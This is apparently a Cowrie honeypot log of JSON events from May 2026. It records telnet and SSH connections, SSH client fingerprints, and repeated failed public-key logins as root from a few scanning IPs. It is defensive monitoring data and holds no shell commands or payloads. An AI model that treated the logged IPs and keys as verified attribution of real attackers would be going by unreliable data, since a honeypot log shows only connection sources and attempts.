{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:34.047321Z","src_ip":"46.19.67.181","session":"a92722fc8137","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45496,"dst_ip":"10.17.0.5","dst_port":23,"session":"3487938ff629","protocol":"telnet","message":"New connection: 152.42.224.71:45496 (10.17.0.5:23) [session: 3487938ff629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:34.193767Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45512,"dst_ip":"10.17.0.5","dst_port":23,"session":"057745f1b4f9","protocol":"telnet","message":"New connection: 152.42.224.71:45512 (10.17.0.5:23) [session: 057745f1b4f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:34.699077Z"}
{"eventid":"cowrie.session.closed","duration":40.15860724449158,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:36.507955Z","src_ip":"152.42.224.71","session":"35e9b7ed5124","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00283741950989,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:38.691338Z","src_ip":"152.42.224.71","session":"61f7b045d7c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33052,"dst_ip":"10.17.0.5","dst_port":23,"session":"e712a541feda","protocol":"telnet","message":"New connection: 152.42.224.71:33052 (10.17.0.5:23) [session: e712a541feda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:41.114825Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33048,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4a0a95f4583","protocol":"telnet","message":"New connection: 152.42.224.71:33048 (10.17.0.5:23) [session: e4a0a95f4583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:41.203857Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.178.165.51","src_port":52438,"dst_ip":"10.17.0.5","dst_port":23,"session":"97bd7229b9b5","protocol":"telnet","message":"New connection: 24.178.165.51:52438 (10.17.0.5:23) [session: 97bd7229b9b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:43.760400Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33066,"dst_ip":"10.17.0.5","dst_port":23,"session":"08a0bec18eb9","protocol":"telnet","message":"New connection: 152.42.224.71:33066 (10.17.0.5:23) [session: 08a0bec18eb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:44.989883Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.59.115.172","src_port":54904,"dst_ip":"10.17.0.5","dst_port":22,"session":"cef29e42ddcf","protocol":"ssh","message":"New connection: 37.59.115.172:54904 (10.17.0.5:22) [session: cef29e42ddcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:45.651974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:45.657023Z","src_ip":"37.59.115.172","session":"cef29e42ddcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:45.761400Z","src_ip":"37.59.115.172","session":"cef29e42ddcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.2755095958709717,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:46.035797Z","src_ip":"24.178.165.51","session":"97bd7229b9b5","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"57:ed:bc:34:f6:5d:38:21:5a:5d:ae:2a:bf:ca:53:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzOlbGl86CpmsSoCFKtcCsoaFiULUBniLCzdFNe+Km8IyvmicEY/X/0S8o5PAmLwKrCCowhCKi66slye+wRMoknERXC1tEF1F3AXt3I/jfMzsPhMBz3AjTgfHpSul/wckP9jPY5xG7l+IPvdaBUFaC2y+pSs2vr/Vh46LEIcjL3Tjmi37+ie86ybzCD0/7e3iGEpME4ruDLlY0CFA2Uc/P/6xobNqjTIfx7nIbIr+GeigOaqUhK6WFO4FGLYhoVdk4dIGXc4hHZfri9V+8bPfShmFeiHwKSLSU1Y8GBCkXZVIE7b/DWYh4NjOiR8aasuGRkg5Xrg1rMNYcTUQUiPHJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 57:ed:bc:34:f6:5d:38:21:5a:5d:ae:2a:bf:ca:53:bc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:46.176884Z","src_ip":"37.59.115.172","session":"cef29e42ddcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"57:ed:bc:34:f6:5d:38:21:5a:5d:ae:2a:bf:ca:53:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzOlbGl86CpmsSoCFKtcCsoaFiULUBniLCzdFNe+Km8IyvmicEY/X/0S8o5PAmLwKrCCowhCKi66slye+wRMoknERXC1tEF1F3AXt3I/jfMzsPhMBz3AjTgfHpSul/wckP9jPY5xG7l+IPvdaBUFaC2y+pSs2vr/Vh46LEIcjL3Tjmi37+ie86ybzCD0/7e3iGEpME4ruDLlY0CFA2Uc/P/6xobNqjTIfx7nIbIr+GeigOaqUhK6WFO4FGLYhoVdk4dIGXc4hHZfri9V+8bPfShmFeiHwKSLSU1Y8GBCkXZVIE7b/DWYh4NjOiR8aasuGRkg5Xrg1rMNYcTUQUiPHJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:46.181161Z","src_ip":"37.59.115.172","session":"cef29e42ddcf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1b:0d:f0:01:3a:3e:a9:c9:85:86:26:d3:8c:9b:1d:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDIy7QmWduOh4w9KCqdChmUumFQ/UIGncqpt445mTILzyJBGByPGjlzV2n6hE6gi6Nfs1S4Citd0B8v32lengvAA2HBspqelSjnSlYF6z4Oi6cqnNbdVnYsf+Dqo6Og01MuT31zx8fXmZ5hQ/NksG9APzJIcYGqngxTtLXz4iAOTlOLU5VIvJxQwbX4eWYeI7YpWwRSEK3HDoy5nqMqAcDqG3nXmkMaicXTo0xzyew6fT8XEiKtnVcRLtAfl/MQceSQ0yGZWdURI1Ye+rl3PtzxNyVJI0x+fPM1u61LdLMDRmU2KSG4+TcT+/Fl+zlQIWglDbP+CqbxPDxiCZjOTgSg1vwLIKAQhp0d4f8P1nxB1PSX00BipC2cDW55zJZ5Ur2fiknr3vV9nPWLlGw3lrGlgG2pov2mQpsq3y2SFjTbmUU8m3BsLRyHqAd8oETRWXu40+0imLQOTp/91dRGOwa+Ol9lEEIe2C0rA16Hv0YIi/ClmR4Kged+njSXHe6Do0V7ucGpHRXAVmjmJQrBr9H9MMiqV1kt9WAjsP2XIDyDOLeVYxZYUphz3qE5f+Rt1H94+v57ChgcjEj5pFHcQfIMKwV7qv2IZZvni2WK85qoTo5U43MLtAQQFACo5idvZEScPsxftDQn1O2nCgga3ocghQMFSX1JmTTY3xhT0RcMzQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1b:0d:f0:01:3a:3e:a9:c9:85:86:26:d3:8c:9b:1d:a4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:46.269117Z","src_ip":"37.59.115.172","session":"cef29e42ddcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1b:0d:f0:01:3a:3e:a9:c9:85:86:26:d3:8c:9b:1d:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDIy7QmWduOh4w9KCqdChmUumFQ/UIGncqpt445mTILzyJBGByPGjlzV2n6hE6gi6Nfs1S4Citd0B8v32lengvAA2HBspqelSjnSlYF6z4Oi6cqnNbdVnYsf+Dqo6Og01MuT31zx8fXmZ5hQ/NksG9APzJIcYGqngxTtLXz4iAOTlOLU5VIvJxQwbX4eWYeI7YpWwRSEK3HDoy5nqMqAcDqG3nXmkMaicXTo0xzyew6fT8XEiKtnVcRLtAfl/MQceSQ0yGZWdURI1Ye+rl3PtzxNyVJI0x+fPM1u61LdLMDRmU2KSG4+TcT+/Fl+zlQIWglDbP+CqbxPDxiCZjOTgSg1vwLIKAQhp0d4f8P1nxB1PSX00BipC2cDW55zJZ5Ur2fiknr3vV9nPWLlGw3lrGlgG2pov2mQpsq3y2SFjTbmUU8m3BsLRyHqAd8oETRWXu40+0imLQOTp/91dRGOwa+Ol9lEEIe2C0rA16Hv0YIi/ClmR4Kged+njSXHe6Do0V7ucGpHRXAVmjmJQrBr9H9MMiqV1kt9WAjsP2XIDyDOLeVYxZYUphz3qE5f+Rt1H94+v57ChgcjEj5pFHcQfIMKwV7qv2IZZvni2WK85qoTo5U43MLtAQQFACo5idvZEScPsxftDQn1O2nCgga3ocghQMFSX1JmTTY3xhT0RcMzQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:46.274159Z","src_ip":"37.59.115.172","session":"cef29e42ddcf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"36:ff:df:be:b8:c5:90:b1:9b:fc:49:f1:cf:d4:00:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNriCLDjWTa3eAZYA8PPMU8XxaetjmXHcOXZZ5eR+xoeq7Fpqo7vqltdEPOw6q7KcAO2e0TlQeqOZIX0cie7R2bhcIUDlMox5xtTpLgv7JlcQxaLRTuMOyB/Qz8+Qx6E+7aprzv28xjyp8CGEuO3dSEB9h6Mz7WoKYdUOyqpyW8KS7l2ahREy1PJVS/X1SFtYC/TqtoZ+ZYbf89sRQySTz8mgySmH21kSKghyz/UR7xVpd0fbVgONkvKyQ+wQRe2WDcCuBaPKmBCPkegvFyCzkcRDK9Yj1F5KZ+boGzXxYGw/gAxoCsoIi+k/Au39quDg/7MjGnV7Z9kxxMZbjSqzLaAfHN6sMhw/dxKEXhwCZiL7d/YvLJyH7MMDzvTEjLylfEMq6hLUaEz3fQU8PSrif41501mUSZ6j1tL6YrHUH1ojKVUIsZZvshsjcqHPdOzlk7mCXSQt4eaiLTMeko/b60iYWCfhiBtVQQWoMfSVUfxkaVVZv2LbRzXr/gAe+HskqSaudgKnWywNRy/s0gNgBQmfPrcUf4U8WY+PTGpfFZxMazaXHb37AyYNQH5Vs4hDI0p5EClYWeC1r9BZrWdL1MT5S7l/QhCt+odIIT0So9MOwGWrvLNGI0LWIZ5vWVvXsf3OlW8HRbmA2a1T7nk6PjIeS9qGiVe3w2RTJyyd3EQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 36:ff:df:be:b8:c5:90:b1:9b:fc:49:f1:cf:d4:00:41","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:46.363557Z","src_ip":"37.59.115.172","session":"cef29e42ddcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"36:ff:df:be:b8:c5:90:b1:9b:fc:49:f1:cf:d4:00:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNriCLDjWTa3eAZYA8PPMU8XxaetjmXHcOXZZ5eR+xoeq7Fpqo7vqltdEPOw6q7KcAO2e0TlQeqOZIX0cie7R2bhcIUDlMox5xtTpLgv7JlcQxaLRTuMOyB/Qz8+Qx6E+7aprzv28xjyp8CGEuO3dSEB9h6Mz7WoKYdUOyqpyW8KS7l2ahREy1PJVS/X1SFtYC/TqtoZ+ZYbf89sRQySTz8mgySmH21kSKghyz/UR7xVpd0fbVgONkvKyQ+wQRe2WDcCuBaPKmBCPkegvFyCzkcRDK9Yj1F5KZ+boGzXxYGw/gAxoCsoIi+k/Au39quDg/7MjGnV7Z9kxxMZbjSqzLaAfHN6sMhw/dxKEXhwCZiL7d/YvLJyH7MMDzvTEjLylfEMq6hLUaEz3fQU8PSrif41501mUSZ6j1tL6YrHUH1ojKVUIsZZvshsjcqHPdOzlk7mCXSQt4eaiLTMeko/b60iYWCfhiBtVQQWoMfSVUfxkaVVZv2LbRzXr/gAe+HskqSaudgKnWywNRy/s0gNgBQmfPrcUf4U8WY+PTGpfFZxMazaXHb37AyYNQH5Vs4hDI0p5EClYWeC1r9BZrWdL1MT5S7l/QhCt+odIIT0So9MOwGWrvLNGI0LWIZ5vWVvXsf3OlW8HRbmA2a1T7nk6PjIeS9qGiVe3w2RTJyyd3EQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:46.367482Z","src_ip":"37.59.115.172","session":"cef29e42ddcf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"71:d9:63:8e:0e:ce:c6:47:44:eb:55:d9:0c:8f:fb:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1fZAwc5Uy8SgUdD/SSpMppT4/WQWjJPLfP6JW++VNbgUjnWSp/znAkPsbRyJqwl638425sF+nTF9o/wM+g95+Y6DUgVi9UYmODwGlYk2Qap8TB+IR7mOzv0/LdIhfLr6YPctHajB9IL+rMQcnq7CXP5XhzyV749L68hyq8jF37J+Px0tZMhFWOMRkNrW9/3mTgjsrqK5ktqfx7+XXBXuSjHnKlASIsUR4B6s0i6HzlVwP3bfvvY/iYV/56elMpc/BOJqiGSvj+zpO8h/2AYGsV5LSUQE670IgiUxkXUPT6+YzElpTt7kox5Taa+8G2BWa6c9scIy+Ay2Xz/y0e3No5uxHDPgo0YTsuLraJLk223tkpkn5+Gxr97HDSjhlPwdX/dT3K3+66hHWVD/qphnOng5XJgPvlDRaeJtA8EHuHvwupcoYV6hlcckTfgEIdRQPk0+TfCMGs7ldMcRChd+NIxEAjClAgzbOLke5el4Cgbel6gpp32iM8JtD0nOaO8KsQHs2gr9hndprPX/ZcZQSokJntvx5QLXdbyFjodD2eVbXhyNiPtY+rfeJVQFCPOmtXha0VodBveERLucDQTn+37tMUri2qdNcnCzpj02S2vKvrHy+640JpQcismVdCJNwWIyl8ayeJ8OB9zCs1EVIEjPABJp995rQQD7O8ZzUzw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 71:d9:63:8e:0e:ce:c6:47:44:eb:55:d9:0c:8f:fb:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:46.458782Z","src_ip":"37.59.115.172","session":"cef29e42ddcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"71:d9:63:8e:0e:ce:c6:47:44:eb:55:d9:0c:8f:fb:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1fZAwc5Uy8SgUdD/SSpMppT4/WQWjJPLfP6JW++VNbgUjnWSp/znAkPsbRyJqwl638425sF+nTF9o/wM+g95+Y6DUgVi9UYmODwGlYk2Qap8TB+IR7mOzv0/LdIhfLr6YPctHajB9IL+rMQcnq7CXP5XhzyV749L68hyq8jF37J+Px0tZMhFWOMRkNrW9/3mTgjsrqK5ktqfx7+XXBXuSjHnKlASIsUR4B6s0i6HzlVwP3bfvvY/iYV/56elMpc/BOJqiGSvj+zpO8h/2AYGsV5LSUQE670IgiUxkXUPT6+YzElpTt7kox5Taa+8G2BWa6c9scIy+Ay2Xz/y0e3No5uxHDPgo0YTsuLraJLk223tkpkn5+Gxr97HDSjhlPwdX/dT3K3+66hHWVD/qphnOng5XJgPvlDRaeJtA8EHuHvwupcoYV6hlcckTfgEIdRQPk0+TfCMGs7ldMcRChd+NIxEAjClAgzbOLke5el4Cgbel6gpp32iM8JtD0nOaO8KsQHs2gr9hndprPX/ZcZQSokJntvx5QLXdbyFjodD2eVbXhyNiPtY+rfeJVQFCPOmtXha0VodBveERLucDQTn+37tMUri2qdNcnCzpj02S2vKvrHy+640JpQcismVdCJNwWIyl8ayeJ8OB9zCs1EVIEjPABJp995rQQD7O8ZzUzw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:46.462671Z","src_ip":"37.59.115.172","session":"cef29e42ddcf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"32:5c:7a:67:99:0e:f7:26:ac:f0:c9:ae:5c:67:38:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCtnDqN9y+SmxoPJhCZegYHFppvWAcabnmrg1Hy2w4dmShe1YbmkeXHcz7VbT1EhE9HuzhzYGUR09AUOcQAjRSJKUD9Tfrpq28hjoBbGpm6r/4eV4AxFpMe+DB4AKkhwlg8adqZShwf2HtdYk2Gg7RVq3bR0pxV6KwcJaZZ+hLyRGLQyZc2f8jFlItSTuWwtuwcx4oMPM0g4aDkWyjJmPAqtRaVp/VhPrxMyfaqaUliDwsHAu3wpb13nrLjO/5Zp6vYnZ6TN6SDVJUKfeddRKHWE7orktudkLIyDJ4ptCEoaOIhXC4gjVc2Eez3osqPP8W26dmAht+MJPQzMPQI823g6q//ym/4IyxLHfY+UlCCVobylTULwM1lIGfmH3XEBz5LDzmVbFTaj/CtKWzuQDFczPYNqG4ZIuDU5/C4k8rk1aSSeBfz/gS659/VpbXstiVSeno5B8FlUMM7b3OP4G2Y97OgO0opJCqBni0crbBQ4xEl0vAAJN1A+eWSH+k0ryUksJM/ygnfTN+jwSCLg2/UCMrqT+MrgFytmMNknEfck0GR913zc5Ick94URXG6ltYpWaYEfF0U7+DXPkNSbxEj1mlMa0F1S7JpCaBirA5Re5RM12lRqAZRZrMrYIAhMIAbq717DpGVajJL7mGFY/NX+soboWm9P/CK/u/BDlqzBQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 32:5c:7a:67:99:0e:f7:26:ac:f0:c9:ae:5c:67:38:90","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:46.551044Z","src_ip":"37.59.115.172","session":"cef29e42ddcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"32:5c:7a:67:99:0e:f7:26:ac:f0:c9:ae:5c:67:38:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCtnDqN9y+SmxoPJhCZegYHFppvWAcabnmrg1Hy2w4dmShe1YbmkeXHcz7VbT1EhE9HuzhzYGUR09AUOcQAjRSJKUD9Tfrpq28hjoBbGpm6r/4eV4AxFpMe+DB4AKkhwlg8adqZShwf2HtdYk2Gg7RVq3bR0pxV6KwcJaZZ+hLyRGLQyZc2f8jFlItSTuWwtuwcx4oMPM0g4aDkWyjJmPAqtRaVp/VhPrxMyfaqaUliDwsHAu3wpb13nrLjO/5Zp6vYnZ6TN6SDVJUKfeddRKHWE7orktudkLIyDJ4ptCEoaOIhXC4gjVc2Eez3osqPP8W26dmAht+MJPQzMPQI823g6q//ym/4IyxLHfY+UlCCVobylTULwM1lIGfmH3XEBz5LDzmVbFTaj/CtKWzuQDFczPYNqG4ZIuDU5/C4k8rk1aSSeBfz/gS659/VpbXstiVSeno5B8FlUMM7b3OP4G2Y97OgO0opJCqBni0crbBQ4xEl0vAAJN1A+eWSH+k0ryUksJM/ygnfTN+jwSCLg2/UCMrqT+MrgFytmMNknEfck0GR913zc5Ick94URXG6ltYpWaYEfF0U7+DXPkNSbxEj1mlMa0F1S7JpCaBirA5Re5RM12lRqAZRZrMrYIAhMIAbq717DpGVajJL7mGFY/NX+soboWm9P/CK/u/BDlqzBQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:46.553963Z","src_ip":"37.59.115.172","session":"cef29e42ddcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:46.641755Z","src_ip":"37.59.115.172","session":"cef29e42ddcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.702374696731567,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:47.401318Z","src_ip":"152.42.224.71","session":"057745f1b4f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46794,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ca10a9ec511","protocol":"telnet","message":"New connection: 152.42.224.71:46794 (10.17.0.5:23) [session: 8ca10a9ec511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:47.659919Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46808,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bcee26ebeac","protocol":"telnet","message":"New connection: 152.42.224.71:46808 (10.17.0.5:23) [session: 4bcee26ebeac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:48.685257Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46824,"dst_ip":"10.17.0.5","dst_port":23,"session":"530e74c95fd3","protocol":"telnet","message":"New connection: 152.42.224.71:46824 (10.17.0.5:23) [session: 530e74c95fd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:49.247281Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.111.67.246","src_port":52066,"dst_ip":"10.17.0.5","dst_port":22,"session":"a21d205912d3","protocol":"ssh","message":"New connection: 78.111.67.246:52066 (10.17.0.5:22) [session: a21d205912d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:50.683002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:50.687760Z","src_ip":"78.111.67.246","session":"a21d205912d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:57:50.788693Z","src_ip":"78.111.67.246","session":"a21d205912d3","protocol":"ssh"}
